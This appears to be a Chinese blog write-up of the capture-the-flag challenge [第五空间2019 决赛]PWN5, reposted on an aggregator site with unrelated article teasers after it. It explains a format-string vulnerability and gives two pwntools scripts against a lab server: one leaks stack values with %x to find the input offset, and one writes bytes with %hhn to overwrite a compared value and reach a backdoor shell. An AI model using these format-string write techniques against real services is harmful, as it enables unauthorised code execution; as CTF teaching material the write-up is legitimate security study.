[第五空间2019 决赛]PWN5

参考文章:

格式化字符串漏洞原理及其利用(附带pwn例题讲解)_格式化字符串攻击教程-CSDN博客

格式化字符串漏洞原理详解_静态编译 格式化'字符串漏洞-CSDN博客

BUU pwn [第五空间2019 决赛]PWN5 //格式化字符串漏洞 - Nemuzuki - 博客园 (cnblogs.com)

栈溢出保护(cannary)

数据溢出保护(NX)

运行一下看看

输入对比

看源代码

首先第一步

发现后门

第二步找漏洞

这道题的漏洞是格式化字符串漏洞,详细的可以去看我开头引用的两个博客

我们的思路就是,找到我们数据输入的地方,然后把对比的数据的地址拿到,用我们输入的去给需要对比的数据赋值

我们先来找到我们数据的偏移量

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = b'aaaaaaa\n %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

大家可以自己数一数,第十个就是我们输入的aaaa

接下来我们来看一下我们对比的数据的地址

可以看见

一共有四个数据段,一个数据段是一个字节

所以我们下面的代码要用 hhn(一个字节表示)

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%11$hhn%10$hhn%13$hhn%12$hhn'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

因为这个数据段,四个字节,我们每个字节都写入,一个0x803c047,4个字节 ,那么四个地址,16=0x10

然后我一直有几个点没动

看了好久这个exp,终于搞懂了

 三个点:

第一个这个后面的%11 12什么的,顺序随便,因为输入的数一样的,都是0x10

第二个,为什么是0x10101010,因为我们输入的数据要对比也是dword,我们传入0x10,在地址上也就是四个连续的0x10,这样就和

这个数据段对上了

第三个:为什么地址在前面-----这是无符号参数print的写法

地址在前面

最后这个exp就ok了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/734634.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如果申请小程序地理位置接口权限之前刷到这一篇就好了

小程序地理位置接口有什么功能? 通常情况下,我们在开发小程序时,可能会用到获取用户地理位置信息的功能。小程序开发者开放平台的新规定指出,如果没有申请开通微信小程序地理位置接口(getLocation)&#xf…

【建议收藏】Android中高级大厂面试源码秘籍,为你备战2021金三银四,直通大厂

首先来说下为什么要读源码,有学习源码的必要吗? 为什么要阅读源码? 关于为什么阅读和学习源码,我个人认为可能有以下几点: (一)吊打面试官,应对面试 为了找到更好的工作&#xff…

【小沐学AI】Python实现语音识别(Whisper-Web)

文章目录 1、简介2、下载2.1 openai-whisper2.2 whisper-web 结语 1、简介 https://openai.com/index/whisper/ Whisper 是一种自动语音识别 (ASR) 系统,经过 680,000 小时的多语言和多任务监督数据的训练,从网络上收集。我们表…

Jenkins定时构建自动化(一):Jenkins下载安装配置

目录 ​编辑 一、jdk下载安装 1. 已下载安装jdk 2. 未下载安装jdk 二、jenkins安装 1. .war包安装 三、获取IP地址 四、jenkins网页配置 一、jdk下载安装 1. 已下载安装jdk (1)查询jdk版本命令:java -version (2)…

4.XSS-反射型(get)利用:获取cookie

GET反射型XSS利用:获取cookie 修改一下配置文件\pikachu\pkxss\xcookie\cookie.php 我这里将对应的IP地址修改为本地pikachu的主站IP地址,这样给用户造成一种正常视觉上的欺骗,容易上当。重定向到pikachu主页面 基于IP搭建的pkxss平台(入侵…

Python 函数注解,给函数贴上小标签

目录 什么是函数注解? 为什么使用函数注解? 如何编写函数注解? 实战演练 与类型提示(Type Hints)的关系 类型安全的运算器 什么是函数注解? 函数注解(Function Annotations)是Python 3中新增的一个特性,它允许为函数的参数和返回值指定类型。 这些注解不会改变…

高速缓存存储器(Chche)

为了解决CPU和主存之间速度不匹配的问题,计算机系统中引入了高速缓存(Chche)的概念。 基本想法:使用速度更快但容量更小、价格更高的SRAM制作一个缓冲存储器,用来存放经常用到的信息;这样一来,…

【Git】--Part4--多人协作

在之前的Git博客中,已经把Git本地相关的操作以及远程操作的介绍完了。如下: Git–Part1–基础操作 - 掘金 (juejin.cn)Git–Part2–分支管理 - 掘金 (juejin.cn)Git–Part3–远程操作 & 配置 & 标签管理 - 掘金 (juejin.cn) 这篇文章会介绍两种…

[FreeRTOS 基础知识] 互斥访问与回环队列 概念

文章目录 为什么需要互斥访问?使用队列实现互斥访问休眠和唤醒机制环形缓冲区 为什么需要互斥访问? 在裸机中,假设有两个函数(func_A, func_B)都要修改a的值(a),那么将a定义为全局变…

音视频的Buffer处理

最近在做安卓下UVC的一个案子。正好之前搞过ST方案的开机广告,这个也是我少数最后没搞成功的项目。当时也有点客观原因,当时ST要退出机顶盒市场,所以一切的支持都停了,当时啃他家播放器几十万行的代码,而且几乎没有文档…

C++ | Leetcode C++题解之第179题最大数

题目&#xff1a; 题解&#xff1a; class Solution { public:string largestNumber(vector<int> &nums) {sort(nums.begin(), nums.end(), [](const int &x, const int &y) {return to_string(x) to_string(y) > to_string(y) to_string(x);});if (nu…

Django框架数据库ORM查询操作

Django框架在生成数据库的models模型文件后&#xff0c;旧可以在应用中通过ORM来操作数据库了。今天抽空试了下查询语句。以下是常用的查询语句。 以下查询需要引入django的Sum&#xff0c;Count&#xff0c;Q模块 from django.db.models import Sum,Count,Q 导入生成的mode…

Python | Leetcode Python题解之第179题最大数

题目&#xff1a; 题解&#xff1a; class Solution:def largestNumber(self, nums: List[int]) -> str:def quick_sort(l , r):if l > r: returni, j l, rwhile i < j:while strs[j] strs[l] > strs[l] strs[j] and i < j: j - 1while strs[i] strs[l] &l…

C++系列-String(一)

&#x1f308;个人主页&#xff1a;羽晨同学 &#x1f4ab;个人格言:“成为自己未来的主人~” string是用于字符串&#xff0c;可以增删改查 首先&#xff0c;我们来看一下string的底层 接下来&#xff0c;我们来看一下string的常用接口有哪些&#xff1a; #define _CRT_S…

csrf+xss组合拳

csrfxss组合拳 一、环境搭建 靶场cms文章管理系统 二、流程开始 这是系统前端 系统管理后台 而我们要打到后台管理员的cookie&#xff0c;结合前端存储型的xss完全可以实现&#xff0c;那后端怎么被打到cookie呢&#xff0c;我们来从这里添加用户开始分析数据包来说明 看看…

Python15 理解Python迭代器

1.Python中的迭代器 在Python中&#xff0c;迭代器是一种允许程序员遍历一个容器&#xff08;特别是列表、元组、字典等集合类型&#xff09;的对象&#xff0c;而不需要了解容器的内部结构。迭代器提供了一个统一的方法来逐一访问容器中的元素&#xff0c;这种机制称为迭代。…

苹果手机safari浏览器的userAgent显示为电脑的userAgent问题解决

目录 1.问题背景 2.userAgent 3.解决 1.问题背景 开发了一个H5&#xff0c;是通过生成二维码&#xff0c;扫描这个二维码后就跳到这个H5&#xff0c;所以需要判断一下扫描的设备是否为手机&#xff0c;然后由于业务逻辑还需要判断一下手机是Android、iOS还是iPad。一般前端…

文件操作<C语言>

导言 平时我们在写程序时&#xff0c;在运行时申请内存空间&#xff0c;运行完时内存空间被收回&#xff0c;如果想要持久化的保存&#xff0c;我们就可以使用文件&#xff0c;所以下文将要介绍一些在程序中完成一些文件操作。 目录 导言 文件流 文件指针 文件的打开与关闭 …

Python 深入学习局部函数和闭包函数

目录 局部函数与闭包函数的关联 变量捕获与状态保留 应用场景的交集与差异 闭包的本质 局部函数示例 闭包函数示例 局部函数和闭包函数之间存在着密切的联系&#xff0c;同时也有一些本质的区别。 局部函数与闭包函数的关联 局部函数&#xff08;Nested Function&#…

【机器学习 复习】第9章 降维算法——PCA降维

一、概念 1.PCA &#xff08;1&#xff09;主成分分析&#xff08;Principal ComponentAnalysis&#xff0c;PCA&#xff09;一种经典的线性降维分析算法。 &#xff08;2&#xff09;原理&#xff0c;这里以二维转一维为例&#xff0c;原来的平面变成了一条直线 这是三维变二…